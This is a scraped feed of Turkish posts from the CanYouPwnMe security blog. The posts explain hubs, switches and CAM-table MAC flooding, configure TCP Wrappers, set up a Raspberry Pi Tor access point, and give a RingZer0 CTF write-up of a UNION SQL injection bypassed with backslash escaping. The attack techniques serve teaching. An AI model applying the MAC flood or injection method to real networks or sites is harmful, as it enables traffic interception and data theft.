HUB, en basit ağ cihazıdır. Kendisine bağlı olan sistemlere paylaşılan bir yol sunar. HUB’a bağlı tüm sistemler aynı yolu kullanırlar. İki bilgisayar arasında bir iletişim var ise diğer clientlar bu yolu kullanamazlar. Diğer clientlar yolun boşalmasını veya boş olmasını beklemek durumundadırlar. Eğer aynı anda bir çok iletişim yapılmak istenilirse çarpışmalar oluşur ve çarpışmanın şiddetine bağlı olarak iletişim kopuklukları yaşanabilir ve ağ performansı düşebilir. HUB’lar 8,12,16 ve 24 soket olarak üretilirler. Bu portlar birinin hızı yüksek iken (örn. 100Mbps) diğerleri genelde çok düşüktür (örn. 10Mbps) Yüksek hızlı portlar genelde server bağlantısında kullanılır. Hubların en kötü özelliği ise, kendisine hangi bilgisayar bağlı bilmez ve bir datayı göndereceği zaman tüm ağa gönderir, DATA’nın muhattabı datayı kontrol eder eğer kendisinin ise veriyi alır. HUB datayı tüm network’e göndermesi bir sniff durumunda datanın tüm clientlar tarafından okunabilmesi anlamı taşıyor. Buda oldukça tehlikeli bir durum. Yüksek trafikli network’lerde ise HUB’ın olması demek network’ün tamamen durması anlamı taşır çünkü ilk HUB tanıtımımızda bahsettiğimiz gibi HUB kendisine bağlı olan sistemlere paylaşılan bir yol sunar ve diğer cihazlar yolun boş olmasını veya boşalmasını beklerler. Trafik yoğun ise datalar çarpışırlar. Buda ağın durması ve performansın düşmesine neden olur. Neyse ki HUB kullanımı bitti diyebiliriz 🙂 Artık yaygın olarak switchler kullanılıyor ağ cihazı olarak.

 

Switch Nedir ?

Switch cihazı, kendisine bağlı sistemlere anahtarlamalı iletim ortamı sunar. Aynı anda bir den çok aktarım yapabilme olanağı vardır. İki bilgisayar iletişimde bulunurken diğerleri de kendi aralarında haberleşebilirler.
HUB cihazından farkı, kendisine bağlı sistemlere paylaşılan değil de özel bir yol sunarç Böylece yüksek başarım elde edilir. Switch cihazları genel olarak 8,12,16,24,36,48 soket içerecek şekilde üretilirler. Şaseli olarakta bulabilirsiniz ayriyetten. Şaseli olanlarda boş soketler vardır ve gereksinime göre arttırılabilirler.
Peki bir ağda switching nasıl gerçekleşir ?

 

Switching Nedir ?

Switch kendisine gelen bir data’nın ilk önce mac adresine bakar. (Data içerisindeki framelerde bu bilgi mevcuttur. (Bknz. Data Frame) Daha sonra öğrendiği MAC adresini sorgulamak için kendinde tuttuğu Content Adressable Memory (CAM) isimli tabloya bakar. Bu işlem gerçekleşmeden önce bir Broadcast işlemi gerçekleşir. ARP Paketleri ile MAC adreslerini alır. Daha sonra karşılaştırma yaparak hedef tablosunda tuttuğu hedef MAC’e datayı gönderir. Biz bu işleme switching adını veriyoruz.

 

Content Addressable Memory Nedir ?

Yukarıda anlattığım üzere Addressable Memory (CAM) Switchlerde yer alan bir tablodur ve Portlara karşılık mac adresleri bu mac adreslerinin tipi gibi çeşitli bilgileri tutar. CAM Tablosu sonsuz bilgi tutmaz bunun bir sınırı vardır. Biz bu CAM Tablosuna bir Sahte MAC’ler ile FlooD gerçekleştirir isek acaba ne olur ?

 

CAM Attack with MAC Flood

CAM Tablosuna portların birinden sürekli ve hızlı şekilde bazı istekler gelir sürekli sahte MAClerle gelen bu istekleri CAM Tablosu mevcut tablosuna yazmaya başlar bu esnada halen yoğun bir şekilde sahte macler gelmeye devam eder… Switch’lerde Default Mod’da Port Security özelliği Kapalı olduğundan dolayı Switch gelen istekleri hala normal bir istek olarak görüp CAM Tablosuna kayıt tutar, bunun bir sınırı vardır…
Sonuç olarak artık CAM Tablosu dolmuştur. Artık bundan sonra switch bir switching işlemi yapamayacaktır çünkü switching işlemi yapabilmesi için gelen frame içerisinde MAC adresini almalı tabloya bakmalı bulamadığı takdirde broadcast ile hedef mac’i öğrenmeli ve tabloya yazmalı. İşlem tam bu noktada yani öğrendiği MAC’i tabloya yazamayacak ve dolayısıyla switch cevap veremeyecektir.
Fakat, Switch bu noktada trafiği kesmek yerine tüm adreslere datayı gönderir yani âdeta bir HUB gibi davranır. HUB gibi davranması switchin soketine bağlı herhangi bir client’ın trafiği sniff ederek görmesi veya trafiği arttırarak networkü durdurması anlamına gelmektedir. CAM Tablosunda daha önceden olan MAC adresi ağ’dan düşmediği sürece CAM Tablosundan çıkmaz dolayısıyla switch HUB gibi davransada CAM Tablosunda olan MAC adresleri için aynı şey mümkün değildir. Genelde saldırgan CAM Tablosunun boşalmasını bekler yaklaşık 300 sn. süreçtir fakat teoride böyle olsada pratikte durum böyle olmadığından genelde saldırgan ilgili MAC’in bulunduğu clienta DoS saldırısıyla ağdan düşürür.

Bu saldırılara ISP’ler ve Büyük ölçekli network yönetenler dikkat etmeli ve switch’deki port security özelliğini aktif etmelidirler. Bahsettiğim üzere çoğunlukla defaultta Kapalı durumda gelir.
Bu demek oluyor ki ; Network Admin’in görevi Port Security ayarlarını gözden geçirmelidir.

İyi çalışmalar,
Saygılarımla.

TR | Content Addressable Memory Attack with MAC Flood CanYouPwnMe

]]>
https://canyoupwn.me/content-addressable-memory-attack-with-mac-flood/feed/ 0
TR | Linux TCP Wrappers Kullanımı https://canyoupwn.me/tr-linux-tcp-wrappers-kullanimi/ https://canyoupwn.me/tr-linux-tcp-wrappers-kullanimi/#respond Thu, 11 Aug 2016 09:24:30 +0000 https://canyoupwn.me/?p=3644 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TCP Wrappers, makinemiz ile aynı ağda bulunan istemcilerin hangi servislere erişebileceğini kontrol eden ve bu erişim ile ilgili kayıtları tutan bir pakettir. Bunu paket içerisinde bulunan libwrap kütüphanesi ile gerçekleştirir. Unix işletim sistemleri genellikle TCP Wrappers ile compile edilmiş olarak gelir. Sistemde firewall’den sonra ekstra bir güvenlik katmanı oluşturarak uygulanan kurallar sayesinde firewall aşıldığında dahi […]

TR | Linux TCP Wrappers Kullanımı CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TCP Wrappers, makinemiz ile aynı ağda bulunan istemcilerin hangi servislere erişebileceğini kontrol eden ve bu erişim ile ilgili kayıtları tutan bir pakettir. Bunu paket içerisinde bulunan libwrap kütüphanesi ile gerçekleştirir. Unix işletim sistemleri genellikle TCP Wrappers ile compile edilmiş olarak gelir. Sistemde firewall’den sonra ekstra bir güvenlik katmanı oluşturarak uygulanan kurallar sayesinde firewall aşıldığında dahi servislere erişimin network seviyesinde korunmasını sağlar. Ayrıca birden fazla server uygulamasının erişim kuralları için tek bir dosyanın kullanılması yönetimi merkezileştirir ve kolaylaştırır.

Linux’ta TCP Wrappers’ın bir servisi destekleyip desteklemediğini öğrenmek için ldd komutunu aşağıdaki gibi kullanabiliriz. Whereis komutu ile de servisin bulunduğu dizin öğrenilebilir.

tcpwrappers_ldd

Bu komut ile sshd (SSH daemon)’ın TCP Wrapper ile desteklendiğini görmüş olduk. Bununla birlikte yaygın olarak bilinen pop3, ftp, telnet gibi servisler de TCP Wrapper tarafından desteklenmektedir.

TCP Wrappers Nasıl Konfigüre Edilir?

TCP Wrappers için etc dizininin altında hosts.allow ve hosts.deny olmak üzere iki adet konfigürasyon dosyası bulunur. İstenen servislere erişime izin vermek için istemci hosts.allow dosyasına, erişimi engellemek için ise hosts.deny dosyasına yazılır.

Konfigürasyon dosyalarının çalışma mantığında ilk olarak hosts.allow dosyası kontrol edilir. Eğer bir kayıt varsa erişime izin verilir ve başka bir işlem yapılmaz. Hosts.allow dosyasında herhangi bir kayıt bulunmazsa deny dosyası kontrol edilir. Burada bir kayıt bulunursa erişim bu istemci için engellenir. Her iki dosyada da bir kural bulunmazsa default kurallar dahilinde istemciye erişim hakkı verilir. Dosya izinlerini yazarken bu sıra dikkate alınmalıdır; çünkü hosts.allow dosyasında izin verilmeyen bir istemci için hosts.deny dosyasında yazılan kuralların bir önemi yoktur.

Her iki dosya için de yazılan kural formatı aşağıdaki gibidir.

daemon : client [:option1:option2:...]

daemon (servis)  : Kural yazılmak istenen servisin adı yazılır. Birden fazla servis için kural yazılacaksa virgül ile ayrılır.

client (istemci)  : Kuralın uygulanacağı istemcinin adı veya IP adresi yazılır. Yine birden fazla istemci için kural yazılacaksa virgül ile ayrılır.

options (seçenekler)  : Kural uygulandığında isteğe bağlı eylemlerin gerçekleşmesi için kullanılır. Örneğin, bu kural işlendiğinde “mail gönder” veya “loglama yap” seçenekleri verilebilir.

192.168.10.0/24 ağında bulunan 192.168.10.21 adresi haricindeki tüm hostlardan gelen sshd isteklerine izin vermek için  /etc/hosts.allow ve /etc/hosts.deny dosyalarını aşağıdaki gibi düzenleyelim.

Minik Not : TCP Wrappers, IPv4 adresleri için CIDR gösterimini (192.168.10.0/24) desteklemez.

tcpwrappers_allow

sshd : 192.168.10.0/255.255.255.0 EXCEPT 192.168.10.21

tcpwrappers_allow1

tcpwrappers_deny

sshd : ALL

tcpwrappers_deny2

Dosyaları düzenleyip kaydettikten sonra ssh ile bağlanmayı denediğimizde yazdığımız kural 192.168.10.21 adresine bağlanmayı  engelleyecektir.

tcpwrappers

TCP Wrappers ile spawn ve twist seçeneklerini kullanarak shell komutu çalıştırabiliriz.

Spawn  : Bir shell komutunu child process olarak başlatır.

Örneğin, /etc/hosts.allow dosyasını aşağıdaki gibi düzenleyerek izin verilen kural dahilinde istemci ve process bilgilerini /var/log/audit_sshd dosyasına loglayabiliriz.

sshd : 192.168.10.0/255.255.255.0 EXCEPT 192.168.10.21
: spawn /bin/echo '/bin/date' SSHD connection from client %c to server %s pid %p >>/var/log/audit_sshd.log

%c  : Username ve hostname gibi istemci bilgilerini yazdırır.

%s  : IP adresi, host ve servis bilgileri gibi çeşitli server bilgilerini yazdırır.

%p  : Daemon process ID bilgisini yazdırır.

Twist  : İsteği özel bir komutla değiştirmek için kullanılır. Genellikle izin verilmek istenmeyen istemciler için bir tuzak gibi kullanılır ve bu şekilde istemciye mesaj da yollanabilir.

/etc/hosts.deny dosyası aşağıdaki gibi düzenlenirse 192.168.10.0/24 ağındaki bir istemci telnet servisine bağlanmak istediğinde TCP Wrappers erişimi engeller ve istemciye mesaj gönderir.

telnetd : 192.168.10.0/255.255.255.0
: twist /bin/echo "What are you doing %a!"

%a  : İstemcinin IP adresini yazdırır.


TR | Linux TCP Wrappers Kullanımı CanYouPwnMe

]]>
https://canyoupwn.me/tr-linux-tcp-wrappers-kullanimi/feed/ 0
TR | Onion Pi Kurulum https://canyoupwn.me/tr-onion-pi-kurulum/ https://canyoupwn.me/tr-onion-pi-kurulum/#comments Sat, 16 Jul 2016 13:48:45 +0000 https://canyoupwn.me/?p=3026 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

v.1 – Raspberry PI Yazımıza henüz adını duymamış olanlar için “Raspberry PI nedir” sorusuyla başlayalım. Raspberry PI,  üzerinde SD kart girişi,USB girişi, ses girişi,GPIO(General-Purpose Input/Output) girişleri, Ethernet girişi ve HDMI girişi olan kredi kartı büyüklüğündeki bilgisayardır. Yapılma amacı Büyük Krallık’ta öğrencilere Bilgisayar Bilimini öğretmektir. Peki ya Onion PI nedir?     v.1.2 – Onion PI […]

TR | Onion Pi Kurulum CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

v.1 – Raspberry PI

Yazımıza henüz adını duymamış olanlar için “Raspberry PI nedir” sorusuyla başlayalım. Raspberry PI,  üzerinde SD kart girişi,USB girişi, ses girişi,GPIO(General-Purpose Input/Output) girişleri, Ethernet girişi ve HDMI girişi olan kredi kartı büyüklüğündeki bilgisayardır. Yapılma amacı Büyük Krallık’ta öğrencilere Bilgisayar Bilimini öğretmektir. Peki ya Onion PI nedir?

 

Raspberry PI

Raspberry PI Model B+

 

v.1.2 – Onion PI

Onion PI Adafruit tarafından geliştirilen bir Raspberry Pi projesidir. Raspberry üzerine Tor kurulması ve Raspberry’nin Access Point olarak kullanılması sonucunda internete sürekli değişen IP adreslerinden çıkma prensibine dayanır. Bu da bize gizlilik kazandırır. Adafruit websitesinde Onion Pi setleri satılmaktadır. Fakat elinizde Raspberry Pi varsa zaten kendi OnionPI’ınızı kurabilirsiniz.

 

raspberry onion pi

Onion Pi

 

v.2 – Onion Pi Kurulum Aşaması

v.2.1 – Gerekli Donanımlar

  1. Raspberry PI
  2. Ethernet Kablosu
  3. WiFi Adapter (Raspberry PI 3 modelinde WiFi donanımı gömülü gelmektedir. Bu donanım önceki modeller içindir.)
  4. SD Kart (Önerilen minimum 8 GB)
  5. Raspberry PI için güç kaynağı
  6. HDMI Kablosu (İlk Raspberry kurulumu için)
  7. Keyboard ve Mouse (İlk Raspberry kurulumu için)

v.2.2 – Hazırlıklar

Öncelikle Raspberry üzerine bir işletim sistemi kurmamız gerekmektedir. Raspbian,Ubuntu Mate,Windows 10 IoT önerilen sistemler arasındadır. Yeni başlayanlar için öneri; SD kartınıza NOOBS yükleyerek kolaylıkla Raspbian kurabilirsiniz. Buradan NOOBS indirebilirsiniz.

NOOBS ile Raspbian kurmanız için yapmanız gerekenler adım adım şunlardır :

  1. SD kartınızı biçimlendirin.
  2. İndirdiğiniz NOOBS dosyasının içindekileri SD kartınıza taşıyın.
  3. SD kartı Raspberry PI SD Kart girişine yerleştirin.
  4. Keyboard , Mouse ve HDMI kablolarını Raspberry PI USB girişlerine yerleştirin.
  5. Son olarak güç kablosunu takın.
  6. HDMI kablosunu bağladığınız ekranda birkaç saniye sonra NOOBS grafik arayüzü ile karşılaşacaksınız, buradan kurmak istediğiniz işletim sistemini seçin.
NOOBS grafik arayüzü

NOOBS grafik arayüzü

Kurulum bittikten sonra yeniden başlatma gerçekleşecektir. Cihaz server modunda açılacaktır. Grafik arayüzü başlatmak isterseniz “startx” yazmanız yeterli olur. İsteğe bağlı olarak terminalden “sudo raspi-config” yazarak bu arayüzden ayarlarla oynayabilirsiniz.

raspi-config üzerinden Advanced Options sekmesinden SSH bağlantısını açabilirsiniz.

Hatırlatma : “raspbian default user : pi” ve “raspbian default password : raspberry“dir.

 

v.2.2.1 – Uzaktan Kullanım için SSH ve VNC Kurulumları

İşletim sistemini de kurduktan sonra her zaman Raspberry Pi cihazınıza keyboard veya HDMI ile monitör bağlantısı sağlamak zorunda değilsiniz Kurulum sonrası evinizdeki Access Point’e bağlanın. Artık cihazda wlan0 veya eth0 üzerinde bir IP adresimiz mevcut. Eğer raspi-config üzerinden SSH bağlantısını açtıysanız Windows için PuTTy üzerinden ip adresini girerek, Linux için terminalden “ssh pi@<raspi-ip-adresi>” komutuyla SSH bağlantısı sağlayabilirsiniz.

Öncelikle VNC kısmı kesinlikle şart değildir. İlave bilgidir. Yine de ben grafik arayüz istiyorum derseniz ne yapmanız gerekiyor?

  • Öncelikle “sudo apt-get install tightvncserver” komutuyla tightvnc yükleyelim.
  • Yükleme bittikten sonra “tightvncserver” yazalım. Bu komut ilk kullanımda VNC bağlantısı sağlamak için şifre belirlemenizi sağlar.
  • Sonraki adım “vncserver :1 -geometry 1920×1080 -depth 24” komutudur. Bu komutla istenilen boyutta, 5901 portundan grafik arayüzü açar.
  • Cihaza bağlanmak istediğiniz Linux makinenize de “sudo apt-get install xtightvncviewer” komutu ile grafik arayüze erişmenizi sağlayacak olan servisi yükleyin.
  • Daha sonra Linux terminalinize “xtightvncviewer” çalıştırdığınızda servis sizden hedef makinenin IP adresi ve portunu isteyecektir. “<ip adresi:5901>” girdikten sonra Raspberry PI grafik arayüzüne Linux makineniz üzerinden ulaşmış olursunuz.

 

Hatırlatma : VNC portları 5901 portu ile başlar. İkinci bir tightvncserver başlatmanız durumunda karşı tarafta bu bağlantıyı “<ip adresi:5902>” şeklinde sağlayabilirsiniz.

v.3.1 – Raspberry PI Access Point Oluşturma

Kurulumun en zahmetli kısmına geldik. Bu aşamadan sonra cihazımıza Tor yükleyip internette farklı IP adresleri ile gezebileceğiz ama bu kısmı bitirmemiz gerek. Açıkçası bu kısımda artık pes etmek üzereydim. Defalarca denemeye rağmen Access Point oluşturamadım. Bu kısımda dikkat etmeniz gereken en önemli şey doğru dhcp servisini kullanmak ve doğru driver adı girmek.

  • “sudo apt-get update” komutuyla repolara bir güncelleme atalım.
  • “sudo apt-get install dnsmasq hostapd” komutuyla bize dhcp hizmeti sağlayacak olan “dnsmasq” ve cihazı Access Point olarak kullanmamıza yarayacak “hostapd”yi cihaza kuralım. Siz isterseniz dhcp olarak “isc-dhcp-server”da kurabilirsiniz. Fakat beni gerçekten uğraştırdığı için kurulumu daha kolay olan dnsmasq‘ı öneriyorum.
  • Bu aşamada işimiz wlan0 ile. sudo nano /etc/dhcpcd.conf komutu ile dhcpcd konfigürasyon dosyasını açıp dosyanın en altına “denyinterfaces wlan0” satırını ekliyoruz. Bu kısım static ip adresi verebilmemiz içindi.
  • wlan0’a Static IP adresi verebilmek için ve dhcp oluşturabilmek için “sudo nano /etc/network/interfaces” komutu ile interfaces dosyasını düzenlemeye başlıyoruz. Burada dikkatli olmamız gerek. Yanlış yapılacak ayarlamalar eth0,lo,wlan1 gibi interfaceleri bozabilir. Burada wlan0 kısmını bulup şu satırları ekliyoruz.

allow-hotplug wlan0
iface wlan0 inet static
adress 192.169.1.1 #istediğiniz ip adresini kullanabilirsiniz.
netmask 255.255.255.0
network 192.169.1.1
broadcast 192.169.1.255
#wpa-conf /etc/wpa-supplicant/wpa-supplicant.conf

Ben daha farklı bir ip adresi verdim. Düzenlemesini yaptığınız dosya hemen hemen şu şekilde gözükmelidir.

/etc/network/interfaces

sudo nano /etc/network/interfaces

bu satırları ekledikten sonra Ctrl+X ile kaydedip çıkıyoruz. Daha sonra dhcpd’yi yeniden başlatmamız gerekiyor.

  • Bunun için “sudo service dhcpd restart” komutunu çalıştırıyoruz. wlan0’ı kapatıp açmak adına da sudo ifdown wlan0 komutunun ardından sudo ifup wlan0 komutunu çalıştırıyoruz. Bu kısımda adress ile ilgili bir hata alırsanız bu hatanın nedeni yukarda yazdığımız satırlardaki boşluklardan kaynaklıdır. Hata alınması durumunda “adress,netmask,network,broadcast” satırlarını başlarındaki boşlukları tekrardan düzenleyin.
  • Terimiz soğumadan hostapd’yi yapılandırmaya başlıyoruz. HostAPD’yi çalıştırmamız için hostapd.conf adında bir konfigürasyon dosyası oluşturmamız gerekiyor. Hemen “sudo nano /etc/hostapd/hostapd.conf” komutunu çalıştırıyoruz ve şu satırları ekliyoruz. Bu aşamada sizin cihazınızın driverı farklı olabilir. Bu driver işe yaramazsa “rtl871xdrv” deneyin. Yine işe yaramazsa internette küçük çaplı bir araştırma işinizi görür.
/etc/hostapd/hostapd.conf

sudo nano /etc/hostapd/hostapd.conf

bu satırları ekledikten sonra konfigürasyon dosyamız oluşturuldu. Kaydedip çıkıyoruz. Artık cihazımız Access Point olarak çalıştırılmaya hazır.

“sudo /usr/sbin/hostapd /etc/hostapd/hostapd.conf” komutuyla çalıştırabiliriz. Daha kolay yolu var tabii. Sonuçta hostapd’yi servis olarak çalıştıracağız. Bu yüzden “sudo nano /etc/default/hostapd” yazıp #DAEMON_CONF=”” yazan satırı buluyoruz. Başındaki “#” karakterini kaldırıp tırnakların içerisine /etc/hostapd/hostapd.conf yazdıktan sonra dosyayı kaydedip çıkıyoruz.

/etc/default/hostapd

sudo nano /etc/default/hostapd

Bağlandıktan sonra ben neden internete bağlanamadım diyenler olabilir. Üzülmesinler çünkü henüz daha dnsmasq ve iptables konfigürasyonlarını tamamlamadık. Eth0 ile wlan0 arasındaki internet akışına henüz izin vermedik. Hemen dnsmasq konfigürasyonu ile başlıyoruz.

  • sudo nano /etc/dnsmasq.conf komutu ile dnsmasq.conf adında bir dosya oluşturuyoruz. Bu dosyanın içine aşağıdaki satırları kaydedip çıkıyoruz.

 

interface=wlan0
listen-adress=192.169.1.1
#az önce belirttiğimiz ip adresi
bind-interfaces
server=8.8.8.8
#google dns
domain-needed
bogus-priv
dhcp-range=192.169.1.50,192.169.1.100,12h
#bağlanacak kişiye verilecek ip adresi aralıkları dhcpde 12 saatliğine kiralanacak.

Satırların eklenmesi sonunda dosya şu şekilde gözükmelidir.

/etc/dnsmasq.conf

sudo nano /etc/dnsmasq.conf

  • Sıra geldi iptables kurallarına. İlk olarak ipv4 forwarding özelliğini açalım. “sudo nano /etc/sysctl.conf” komutu ile bu konfigürasyon dosyasını açalım. Bu dosya içerisinde aradığımız şey #net.ipv4.ip_forward=1 satırı. Bu satırın başındaki # karakterini kaldırarak satırı aktif hale getirelim. Kaydedip çıktıktan sonra ilk rebootta bu özellik aktif hale gelecektir.
  • eth0 ve wlan0 arasındaki trafiği sağlamak için gerekli iptables kuralları şunlardır.

 

iptables kuralları

iptables kuralları

 

  • Bu komutları teker teker terminalde çalıştırdıktan sonra “sudo iptables -L” komutu ile doğruluğunu kontrol edelim. Fakat önemli bir hatırlatma yapayım. Cihazı yeniden başlattığınız takdirde bu kurallar kaybolacaktır. Bu yüzden bu kuralları sabit hale getirelim.
    sudo sh -c “iptables-save > /etc/iptables.ipv4.nat” komutu ile şu anki iptables kurallarını iptables.ipv4.nat dosyasına kaydedelim.

instant_ipv4forward

  • sudo nano /etc/rc.local komutu ile bu dosyayı açıp dosyanın en altında bulunan “exit 0″ satırının bir üstüne
    iptables-restore < iptables.ipv4.nat satırını ekleyip kaydedelim.
/etc/rc.local

sudo nano /etc/rc.local

Her şey hazır! Tek yapmamız gereken hostapd ve dnsmasq’ı servis olarak çalıştırmak.

sudo service hostapd start
sudo service dnsmasq start

Artık Pi-AP Access Pointimize bağlanıp internetin bize sunduğu nimetlerden yararlanabiliriz. Fakat bu uzun kurulumdan sonra asıl amacımızı hatırladım, Onion PI kurmak. Biraz dinlendikten sonra son aşamaya geçebiliriz. Pes etmek üzere olanlar için söyleyeyim, son aşama bu aşama kadar uzun sürmüyor.

v.3.2.0.final – TOR

Öncelikle cihazımıza “sudo apt-get install tor” komutu ile tor yüklüyoruz. Tor config dosyasını düzenlemek adına

“sudo nano /etc/tor/torrc” ile dosyayı açıp aşağıdaki satırları ## Tor opens a socks proxy on port 9050 by default satırının üstüne kopyalıyoruz.

Log notice file /var/log/tor/notices.log
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsSuffixes .onion,.exit
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 192.169.1.1 #bizim belirttiğimiz ip adresi
DNSPort 53
DNSListenAddress 192.169.1.1

ekledikten sonra kaydedip çıkıyoruz. Şekil a.1 :

sudo nano /etc/tor/torcc

sudo nano /etc/tor/torcc

Şimdi yapmamız gereken iptables kurallarını Tor’a göre ayarlamak. “sudo iptables -F” ve “sudo iptables -t nat -F” komutlarını girip bu kuralları sıfırlayıp yeni kurallarımızı eklemeye başlıyoruz.

tor_iptables1

#bu komut ssh portundan iletişimi sağlamaya devam edebilmek için.

tor__iptables2

#bu komut wlan0 üzerinden gelen DNS trafiğini tor trafiğine yönlendirmek için.

tor_iptables3

#bu komut wlan0 üzerinden akan bütün TCP trafiğini tor proxy üzerine yönlendirmek için.

iptables_save

#bu komut ile yeni iptables kurallarımızı iptables.ipv4.nat dosyası üzerine kaydediyoruz.

  • iptables kuralları ile işimiz bitti. Son olarak tor log dosyası oluşturacağız. Aşağıdaki komutları teker teker çalıştırıyoruz.
Tor log dosyası oluşturma adına çalıştırılacak olan komutlar

Tor log dosyası oluşturma adına çalıştırılacak olan komutlar


log dosyasını oluşturup gerekli izni verdikten sonra artık tor’u servis olarak çalıştırabiliriz.

sudo service tor start

Eğer her açılışta Tor’un otomatik olarak çalışmasını istiyorsanız terminale sudo update-rc.d tor enable” yazmanız gerekiyor.

Sonunda kurulum tamamlandı. Umarım hata almadan kurulumu tamamlayabilirsiniz. Ben o kadar çok sorunla karşılaştımki bu yazıyı yazmam gerçekten uzun sürdü.

v.4.0.0 – Test

Kurulumu tamamladıktan sonra cihazı test ettim. Onion PI Access Pointime bağlandım. İnternetimin nasıl bir yol izlediğini görebilmek için kendime “Traceroute” attım. Sonuçlar tatmin ediciydi :

 

traceroute çıktısı

traceroute çıktısı

Kurulum esnasında sorunlarla karşılaşırsanız iptables kurallarını tekrardan gözden geçirmenizi öneririm. HostAP çalıştırırken bir sorun ile karşılaşırsanız bu da büyük ölçüde driver kaynaklı bir sorundur. Uğraştırsa da başarılı bir şekilde kurulumu tamamladık. Bir sonraki yazıda görüşmek üzere !

xvtMaBkU

TR | Onion Pi Kurulum CanYouPwnMe

]]>
https://canyoupwn.me/tr-onion-pi-kurulum/feed/ 2
TR | Quote of the Day Reloaded WriteUp – RingZer0 https://canyoupwn.me/quote-of-the-day-reloaded-writeup-ringzer0/ https://canyoupwn.me/quote-of-the-day-reloaded-writeup-ringzer0/#respond Wed, 13 Jul 2016 10:41:39 +0000 https://canyoupwn.me/?p=3207 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar. SQL Injection kategorisinde bulunan UNION tabanlı bir soru. Normal’de sorunun bir Input Validition alanı mevcut fakat biz Generate ettiğimiz vakit bize 1024 değerinde bir tane daha Input Validition oluşturuyor. /38?q=1&s=1024 Bu q parametresin de SQL Injection tespitleri yapmaya çalıştım. Burada ' – " – ') – ") – ) işaretlerini kullandım. Fakat hiç bir […]

TR | Quote of the Day Reloaded WriteUp – RingZer0 CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar.

SQL Injection kategorisinde bulunan UNION tabanlı bir soru.

1212112

Normal’de sorunun bir Input Validition alanı mevcut fakat biz Generate ettiğimiz vakit bize 1024 değerinde bir tane daha Input Validition oluşturuyor.

/38?q=1&s=1024

Bu q parametresin de SQL Injection tespitleri yapmaya çalıştım.
Burada '"')")) işaretlerini kullandım.
Fakat hiç bir şekilde bir hata tespiti alamadım. Aynı işlemi diğer s parametresi ile yaptım fakat bir sonuç alamadım.

Bu aklıma direk üç olay getirdi;
Birincisi; q parametresinde ki Input alanında bir güvenlik fonksiyonu mevcut. Örneğin htmlspecialchars().
İkincisi; q parametresinde ki Input alanı bir alanın içine yazıldı oradan çıkmamız gerekiyor. Örneğin (“$_GET[‘q’];”) veya “$_GET[‘q’]” gibi.

Üçüncüsü ise, HTTP Parameter Pollution.
Yani bir Input üzerinden değil, iki input‘da ki değeri tek hale alıp render etmesi.

Ama öncesinde bir tespit yapmamız gerekir. Bunun için ID‘ler ile bir kaç oynama yaptım.

2

Bu kesinlikle bir HTTP Parameter Pollution olma olasılığını gösterir diye düşünüyorum, çünkü ikinci Input değişme yok okey fakat neden oluşturuyor? Diğer parametre ile oynamalar yapalım.

3

0 değerinde bir şey bulamadığını söylüyor bu demektir ki, burada ki değer’den çıkış edip, diğer parametre ile birleştir.
İlk yaptığım tespit aşamalarını burada da yapacağım.

4

Bu aklıma direk şunu da getirdi.

SELECT icerik FROM icerikler WHERE q='htmlspecialchars($_GET['q'])' AND s='htmlspecialchars($s)'

Bu bir üst resimde ki hatayı tek tırnak işaret’in de veriyor bu demektir ki, biz HtmlSpecialChars‘ı atlatmamız gerekecek.
Tırnaklara engel koymasının sebebi girdiğimiz değerin arasına yazılmış olması bu da demektir ki, burada girilecek her değer String.
Bizim bu değer’den çıkış yapmamız gerekir ki, DB render edip bize sunsun. Bu sefer’de direk akla bir çok programlama dilinde mevcut olan kaçış dizisi \ akla geliyor.

5

 

Bir önceki resimler de gözüktüğü bize değer döndürmesi gerekirdi \ attıktan sonra görüyoruz ki, biz değer’den çıktık artık bizim vereceğimiz değeri giricek gibi.

6

 

Bize herşeyi sundu geriye flag’imizi çekmek kalıyor.
Order by kısmı geçiyorum, kolon sayımız 2. Debug false olduğu için bize Syntax hatası vermiyor. Blind gibi düşünebilirsiniz.
O sebeple direk UNION ile exploit kısmına geçiyorum.

7

8

 

Injection. 🙂

TR | Quote of the Day Reloaded WriteUp – RingZer0 CanYouPwnMe

]]>
https://canyoupwn.me/quote-of-the-day-reloaded-writeup-ringzer0/feed/ 0